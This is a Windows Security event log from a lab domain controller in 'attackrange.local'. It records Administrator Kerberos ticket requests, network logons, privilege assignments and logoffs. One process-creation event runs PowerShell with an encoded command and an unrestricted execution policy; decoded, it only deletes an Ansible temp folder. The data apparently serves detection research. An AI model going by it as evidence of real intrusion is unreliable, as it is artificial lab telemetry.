	Logon ID:		0x121804

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250974
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11FE2D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250973
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AFAB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250972
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11EF0A

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250971
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11CA88

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250970
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12306F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250969
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12306F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250968
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250967
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250966
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250965
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x123053

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250964
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x123053

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250963
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x123053
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250962
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250961
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250960
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250959
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x121B9F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250958
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf5c
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x112c
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA1ADcALgA3ADkAMwA1ADUAMQAyAC0AOAAwADQAMQAwADMAMwA0ADYAOAA5ADkANQA1ACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250957
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x121B9F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250956
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x121B9F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250955
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250954
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{F18D752E-6991-B481-317F-DB9D9477D76C}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250953
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250952
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x121AED

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250951
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x121AED
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64492

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250950
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x121AED

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250949
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x121A47

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250948
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x121A47
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64491

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250947
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x121A47

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:35 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250946
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12198F

